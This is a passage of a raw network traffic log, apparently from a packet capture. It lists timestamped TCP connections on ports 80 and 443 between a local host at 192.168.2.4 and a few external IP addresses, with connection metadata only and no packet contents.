Dec 12, 2024 14:26:30.646869898 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.646881104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.646998882 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.647768974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.647876978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.648200989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.648360014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.648576021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.648973942 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.649075985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.649166107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.649544001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.649724007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.649770975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.649889946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.650408030 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.650420904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.650474072 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.651261091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.651343107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.651369095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.651417017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.652282953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.652424097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.652645111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.652755022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.653033018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.653045893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.653074980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.653192997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.653987885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.654175997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.654740095 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.654798031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.654810905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.654824972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.654848099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.656050920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.656105042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.656116962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.656191111 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.656841040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.656898022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.657516003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.657530069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.657638073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.657696962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.658317089 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.658350945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.658370018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.658401966 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.658703089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.659337044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.659351110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.659431934 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.659432888 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.660084009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.660132885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.660377979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.660538912 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.661159039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.661245108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.661955118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.662067890 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.662116051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.662166119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.662225962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.662313938 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.663213015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.663305044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.663820028 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.663835049 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.663902044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.663902044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.663940907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.664011002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.664793968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.665232897 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.665255070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.665396929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.665678978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.665780067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.666035891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.666119099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.666666985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.666732073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.666763067 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.667067051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.668282032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.668562889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.668579102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.668617964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.668725014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.669190884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.669236898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.669390917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.669471025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.669527054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.669605970 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.670414925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.670429945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.670479059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.670479059 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.671093941 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.671226025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.671243906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.671309948 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.671806097 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.671890020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.671911955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.671978951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.672733068 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.672970057 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.673075914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.673134089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.673671007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.673907995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.673938036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.674143076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.674262047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.674426079 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.674491882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.674587011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.675184011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.675200939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.675250053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.675250053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.676286936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.676551104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.676836014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.677234888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.677789927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.677845001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.678410053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.678853989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.678961039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.679270983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.679358959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.679430962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.679430962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.680006027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.680028915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.680126905 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.680536032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.680635929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.680640936 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.680686951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.681463003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.681538105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.681602001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.681657076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.682250977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.682578087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.682607889 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.682930946 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.683136940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.683192968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.683217049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.683327913 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.684083939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.684216022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.684905052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.684920073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.684988022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.684988976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.685022116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.685075045 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.685775042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.685837984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.685858011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.685918093 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.686721087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.686785936 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.832350016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.832365990 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.832446098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.832446098 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.832545042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.832587957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.832746029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.832858086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.833421946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.833472967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.833580971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.833683014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.834326029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.834338903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.834368944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.834408998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.835202932 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.835247993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.835895061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.835974932 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.836096048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.836255074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.836285114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.836424112 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.837019920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.837033033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.837058067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.837081909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.837858915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.837924004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.837966919 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.838022947 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.838752985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.838879108 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.838958979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.839013100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.839638948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.839762926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.839895010 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.839951038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.840502977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.840574980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.840727091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.840775013 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.841428041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.841490030 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.841782093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.841886044 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.842384100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.842461109 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.842489958 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.842515945 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.843209982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.843266010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.843362093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.843410015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.844078064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.844130039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.844191074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.844398022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.844973087 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.845062017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.845309019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.845391035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.846028090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.846131086 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.846155882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.846374035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.846715927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.846767902 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.846795082 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.846863985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.847618103 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.847701073 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.847882032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.848083019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.848520041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.848685980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.848808050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.848855972 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.849338055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.849385023 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.849415064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.849472046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.850369930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.850424051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.850775003 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.850831985 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.851140976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.851224899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.851826906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.851902008 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.852027893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.852082968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.852159977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.852159977 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.852919102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.852947950 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.852957964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.852983952 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.854058027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.854114056 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.854206085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.854259014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.854887009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.854899883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.854993105 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.855631113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.855643034 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.855676889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.855731964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.856467962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.856518984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:32.400623083 CET	443	49826	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:32.401101112 CET	49826	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:32.402499914 CET	49826	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:32.402512074 CET	443	49826	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:32.402756929 CET	443	49826	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:32.405885935 CET	49826	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:32.447335958 CET	443	49826	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:32.816317081 CET	443	49826	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:32.816395998 CET	443	49826	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:32.816495895 CET	49826	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:32.871495008 CET	49826	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:32.871507883 CET	443	49826	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:33.640044928 CET	49794	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:33.640592098 CET	49832	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:33.760776043 CET	80	49794	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:33.760797977 CET	80	49832	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:33.760859966 CET	49794	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:33.760938883 CET	49832	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:33.785160065 CET	49832	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:33.904831886 CET	80	49832	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:35.108839035 CET	80	49832	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:35.109066010 CET	49832	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:35.110368967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:35.110678911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:35.230401039 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:35.230509996 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:35.230526924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:35.230612993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:35.231985092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:35.352305889 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554584980 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554616928 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554637909 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554692030 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554754972 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.554779053 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554794073 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554800034 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.554877043 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554888010 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554898977 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554912090 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.554917097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.554917097 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.554953098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.674726009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.674809933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.674855947 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.674855947 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.678977966 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.679097891 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.679183006 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:36.679235935 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:36.687350988 CET	80	49837	31.41.244.11	192.168.2.4
